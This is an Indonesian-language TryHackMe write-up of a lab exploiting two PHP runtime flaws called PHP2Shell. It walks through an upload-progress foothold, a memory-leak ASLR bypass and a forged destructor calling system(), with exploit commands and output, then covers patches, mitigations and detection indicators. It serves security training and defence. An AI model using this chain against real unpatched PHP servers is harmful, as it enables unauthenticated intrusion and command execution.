October 26, 2026
TryHackMe β CVEPHP2Shell WriteUp Bahasa Indonesia
Pada writeup kali ini saya akan membahas room CVEPHP2Shell di TryHackMe. Room ini membahas dua vulnerability kritis pada runtime PHP, yaituβ¦

By ZXVE
6 min read
Pada writeup kali ini saya akan membahas room CVEPHP2Shell di TryHackMe. Room ini membahas dua vulnerability kritis pada runtime PHP, yaitu CVE-2026β109618 dan CVE-2026β109619.
Yang menarik, celah ini tidak berada pada WordPress, Laravel, Drupal, plugin, atau source code aplikasi. Masalahnya ada di dalam PHP itu sendiri. Karena proses eksploitasi berlangsung ketika PHP masih memproses request, sebuah halaman sederhana yang hanya mencetak OK tetap bisa menjadi pintu masuk.
Di lab ini saya akan melihat bagaimana fitur session.upload_progress dipakai sebagai foothold, bagaimana kondisi out-of-memory meninggalkan state yang tidak valid, bagaimana memory disclosure membantu melewati ASLR, dan bagaimana exploit akhirnya menjalankan command sebagai user web server.
Semua proses pada artikel ini dilakukan hanya pada mesin TryHackMe yang memang disediakan untuk latihan. Flag sengaja saya sensor agar pembaca tetap bisa mempelajari proses dan menyelesaikan room-nya sendiri.
Prerequisite
- Account TryHackMe
- Mesin lab CVEPHP2Shell dalam kondisi aktif
- SSH client atau AttackBox
- Pemahaman dasar HTTP, PHP, dan Linux command line
Introduction
Pada 21 Oktober 2026, PHP mempublikasikan perbaikan untuk dua vulnerability yang kemudian dikenal dengan nama PHP2Shell. Keduanya mendapatkan skor CVSS v4.0 9.2 Critical dan dapat berujung pada unauthenticated remote code execution dalam kondisi yang sesuai.
Versi PHP yang sudah mendapatkan patch adalah:
- PHP 8.2.35
- PHP 8.3.36
- PHP 8.4.27
- PHP 8.5.12
Target pada room menggunakan PHP 8.4.26, jadi posisinya tepat satu versi sebelum perbaikan pada branch PHP 8.4.
Hal penting yang perlu diingat dari awal adalah vulnerability ini bekerja di bawah application layer. Jadi, memperbarui CMS tanpa memperbarui PHP tidak menyelesaikan akar masalahnya.
Step by step
1. Connecting to the Lab
Setelah machine dijalankan, TryHackMe akan memberikan IP target. IP tersebut bersifat sementara, jadi sesuaikan command berikut dengan IP yang muncul pada halaman room.
ssh ubuntu@<IP_TARGET_THM>ssh ubuntu@<IP_TARGET_THM>Credential lab:
Username : ubuntu
Password : tryhackmeUsername : ubuntu
Password : tryhackmeSetelah berhasil login, seluruh pengujian dilakukan dari mesin tersebut ke web server vulnerable yang berjalan di:
http://127.0.0.1:8088/index.phphttp://127.0.0.1:8088/index.php2. Memahami session.upload_progress
Ketika browser mengunggah file berukuran besar, PHP mempunyai fitur bernama session.upload_progress. Fitur ini menyimpan informasi progress upload ke dalam $_SESSION, sehingga request lain dapat membaca berapa banyak data yang sudah diterima server.
Fitur tersebut aktif ketika multipart request berisi field dengan nama default:
PHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESSBagian pentingnya adalah kapan fitur ini bekerja. PHP memproses multipart body sebelum request environment selesai diinisialisasi dan sebelum script aplikasi dijalankan. Akibatnya, jalur ini bisa dicapai tanpa login, tanpa session_start(), dan bahkan tanpa fitur upload yang sengaja dibuat oleh aplikasi.
Alurnya kurang lebih seperti ini:
HTTP multipart request
|
v
PHP membaca request body
|
v
session.upload_progress memperbarui session
|
v
Request initialization
|
v
Script aplikasi baru dijalankanHTTP multipart request
|
v
PHP membaca request body
|
v
session.upload_progress memperbarui session
|
v
Request initialization
|
v
Script aplikasi baru dijalankanJawaban untuk pertanyaan pertama adalah:
PHP_SESSION_UPLOAD_PROGRESSPHP_SESSION_UPLOAD_PROGRESS3. Dari memory limit menuju dangling pointer
PHP membatasi penggunaan memory setiap request melalui directive memory_limit. Ketika limit tersebut terlewati, PHP melakukan penghentian darurat menggunakan longjmp(). Di dalam engine PHP, mekanisme ini disebut:
bailoutbailoutMasalahnya, bailout bukan proses shutdown yang rapi. Eksekusi dapat melompat keluar ketika sebuah block memory sudah dibebaskan, tetapi pointer yang menunjuk ke block tersebut belum dibersihkan. Pointer yang masih hidup setelah memory-nya tidak valid dikenal sebagai dangling pointer.
Pada Apache prefork dengan mod_php, satu worker dapat menangani request secara berurutan. State yang rusak dari request pertama bisa tetap berada pada worker, lalu disentuh kembali oleh request berikutnya. Jika attacker berhasil mengisi ulang area memory yang sudah dibebaskan dengan data yang dikontrol, stale pointer tadi dapat membaca atau memproses data baru itu sebagai object lama.
Advisory upstream juga mengaitkan masalah ini dengan beberapa weakness lain, termasuk use-after-free. Namun jawaban yang digunakan oleh room untuk pertanyaan ini adalah CWE-824: Access of Uninitialized Pointer.
4. Verifikasi target vulnerable
Selanjutnya saya mengecek container dan versi PHP yang digunakan oleh target.
docker ps --format '{{.Names}} {{.Image}} {{.Status}}'
docker exec php2shell-target php -vdocker ps --format '{{.Names}} {{.Image}} {{.Status}}'
docker exec php2shell-target php -vOutput pentingnya menunjukkan:
php2shell-target php:8.4.26-apache Up ...
PHP 8.4.26 (cli)php2shell-target php:8.4.26-apache Up ...
PHP 8.4.26 (cli)Versi target adalah:
8.4.268.4.26PHP 8.4.26 masih vulnerable karena patch untuk branch ini baru tersedia pada PHP 8.4.27.
Sekarang saya melihat halaman yang akan menjadi target:
curl -s http://127.0.0.1:8088/index.php
docker exec php2shell-target cat /var/www/html/index.phpcurl -s http://127.0.0.1:8088/index.php
docker exec php2shell-target cat /var/www/html/index.phpHasilnya:
OK
<?php echo "OK\n"; ?>OK
<?php echo "OK\n"; ?>Jadi jawaban untuk output halaman /index.php adalah:
OKOKDi sini terlihat bahwa aplikasi hanya berisi satu baris PHP. Tidak ada login, database, atau fungsi upload buatan developer. Ini menjadi bukti bahwa attack surface berasal dari runtime PHP, bukan dari logic aplikasi tersebut.
5. Menyiapkan exploit
Exploit sudah tersedia di home directory user ubuntu. Saya mengeceknya dengan command berikut:
ls ~/php2shell-bypass-aslr-expls ~/php2shell-bypass-aslr-expIsinya kurang lebih seperti ini:
docker exploit.py out README.md readme_en.md src toolsdocker exploit.py out README.md readme_en.md src toolsKemudian pindah ke directory exploit:
cd ~/php2shell-bypass-aslr-expcd ~/php2shell-bypass-aslr-exp6. Memory disclosure untuk melewati ASLR
ASLR atau Address Space Layout Randomisation membuat alamat heap dan library berubah pada setiap proses. Untuk mengarahkan execution flow, exploit perlu mengetahui lokasi memory yang benar terlebih dahulu.
Dalam alur lab, request pertama memicu kondisi memory yang membuat pointer session menjadi stale. Request berikutnya kemudian membuat PHP memperlakukan memory tersebut sebagai string dengan panjang yang sudah terkorupsi. Ketika PHP mengirim session cookie, data memory di sekitarnya ikut terbaca ke response header:
Set-CookieSet-CookieSaya menjalankan exploit dengan command berikut:
python3 exploit.py -u http://127.0.0.1:8088/index.phppython3 exploit.py -u http://127.0.0.1:8088/index.phpPada tahap awal, output exploit akan terlihat seperti ini:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] offsets loaded from out/offsets.env
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x[ALAMAT_HEAP]
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x[ALAMAT_LIBPHP][*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] offsets loaded from out/offsets.env
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x[ALAMAT_HEAP]
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x[ALAMAT_LIBPHP]Alamat pada setiap run bisa berbeda karena ASLR memang bekerja. Exploit tidak menebak alamat tersebut, melainkan membacanya dari memory disclosure. Setelah heap base dan libphp base diketahui, exploit mempunyai informasi yang dibutuhkan untuk melanjutkan ke tahap eksekusi command.
7. Remote Code Execution
Tahap berikutnya mengisi ulang memory yang sudah dibebaskan dengan struktur internal palsu. Dalam chain yang digunakan room, exploit membentuk sebuah HashTable dan mengarahkan function pointer destructor pDestructor ke alamat system() di dalam library PHP.
Saat PHP melakukan cleanup, engine mengira sedang memanggil destructor biasa. Namun pointer tersebut sudah diarahkan ke system(), sehingga bytes yang dikontrol attacker diproses sebagai command.
Alur sederhananya:
Leak heap base
|
v
Leak libphp base
|
v
Susun forged HashTable
|
v
pDestructor -> system()
|
v
Command berjalan sebagai user web serverLeak heap base
|
v
Leak libphp base
|
v
Susun forged HashTable
|
v
pDestructor -> system()
|
v
Command berjalan sebagai user web serverJika exploit berjalan sampai selesai, proof-nya akan menunjukkan:
[*] stage 3: HTDATA=0x[ALAMAT] ZIF=0x[ALAMAT]
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)[*] stage 3: HTDATA=0x[ALAMAT] ZIF=0x[ALAMAT]
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)Command berhasil dieksekusi sebagai:
www-datawww-dataArtinya kita sudah mendapatkan unauthenticated remote code execution dengan privilege milik Apache worker.
8. Mengambil flag
Flag berada pada path pendek /f. Path ini digunakan karena ruang untuk command pada payload sangat terbatas. Saya menjalankan command yang disediakan room:
python3 exploit.py \
-u http://127.0.0.1:8088/index.php \
-c 'cat /f>/out/p1' \
--proof-file out/p1python3 exploit.py \
-u http://127.0.0.1:8088/index.php \
-c 'cat /f>/out/p1' \
--proof-file out/p1Output akhirnya berbentuk:
PROOF: THM{[DISENSOR]}PROOF: THM{[DISENSOR]}Flag asli tidak saya cantumkan di artikel ini. Silakan jalankan exploit pada instance masing-masing supaya tetap mendapatkan pengalaman menyelesaikan room-nya.
Jika exploit berhenti pada tahap leak, jalankan kembali command tersebut. Chain ini bergantung pada layout memory dan worker yang menerima request, sehingga beberapa tahapnya bersifat probabilistik.
Mitigasi
Perbaikan lengkapnya adalah memperbarui runtime PHP ke versi yang sudah mendapatkan patch, lalu me-restart seluruh worker. Update WordPress, Laravel, Drupal, Joomla, atau aplikasi lain tidak cukup jika PHP di bawahnya masih vulnerable.
Versi minimum yang sudah diperbaiki:
PHP 8.2.35
PHP 8.3.36
PHP 8.4.27
PHP 8.5.12PHP 8.2.35
PHP 8.3.36
PHP 8.4.27
PHP 8.5.12Jika patch belum bisa dilakukan, beberapa mitigasi sementara yang dapat mengurangi jalur eksploitasi adalah:
- Set
session.upload_progress.enabled = 0, lalu restart seluruh worker. - Pada PHP 8.5, set
fatal_error_backtraces = 0, lalu restart seluruh worker. - Jika aplikasi tidak membutuhkan multipart upload, blokir
multipart/form-datadi reverse proxy atau WAF yang berada di depan PHP. - Batasi ukuran request, jumlah multipart parts, jumlah header per part, nesting input, dan upload.
- Jalankan PHP worker dengan least privilege.
- Untuk jalur OOM yang dikonfirmasi, advisory PHP menyebut
memory_limit = -1sebagai mitigasi konfigurasi utama jika update benar-benar belum dapat dilakukan. Ini tetap bukan perbaikan lengkap dan harus dievaluasi hati-hati karena dapat meningkatkan risiko konsumsi memory. - Menonaktifkan OPcache dapat mengurangi exposure terhadap jalur type-confusion tertentu, tetapi tidak melindungi seluruh keluarga PHP2Shell.
Tidak ada configuration-only mitigation yang mencakup semua jalur. Patch runtime PHP tetap menjadi satu-satunya mitigasi yang lengkap.
Detection
Beberapa indikator yang dapat diperhatikan oleh defender:
- Multipart POST berukuran tidak biasa dengan field
PHP_SESSION_UPLOAD_PROGRESS. - Multipart request dengan jumlah field, nested input, atau header per part yang sangat tinggi.
- Nilai
PHPSESSIDpada responseSet-Cookieyang jauh lebih besar atau malformed dibanding session ID normal. - Error
Allowed memory size exhausted, HTTP 500 berulang, atau worker PHP yang sering mati dan dibuat ulang. - Rangkaian request yang mencoba mengenai worker yang sama secara berulang.
WAF yang berjalan sebagai module di dalam PHP tidak bisa dijadikan pertahanan utama untuk chain ini, karena kerusakan dapat terjadi saat request body masih diparsing sebelum application code berjalan. Filter di reverse proxy atau network edge mempunyai posisi yang lebih masuk akal, tetapi tetap tidak menggantikan patch.
Conclusion
Dari room CVEPHP2Shell ini saya mendapatkan gambaran yang cukup jelas bahwa attack surface sebuah website tidak berhenti pada source code aplikasinya. Aplikasi target hanya mencetak OK, tetapi runtime PHP di bawahnya tetap mempunyai jalur pre-authentication menuju memory disclosure dan remote code execution.
Alur yang saya pelajari dimulai dari session.upload_progress, dilanjutkan dengan out-of-memory bailout yang meninggalkan stale state, memory leak melalui Set-Cookie untuk mengetahui alamat heap dan libphp, lalu forged destructor yang menjalankan system() sebagai www-data.
Pelajaran paling pentingnya adalah jangan hanya memperbarui CMS atau framework. Runtime, web server, extension, dan worker model juga merupakan bagian dari security boundary yang harus dipantau dan di-patch.
Akhir kata, semangat terus buat belajar karena tidak ada kata telat untuk belajar.
Im zake, signed out.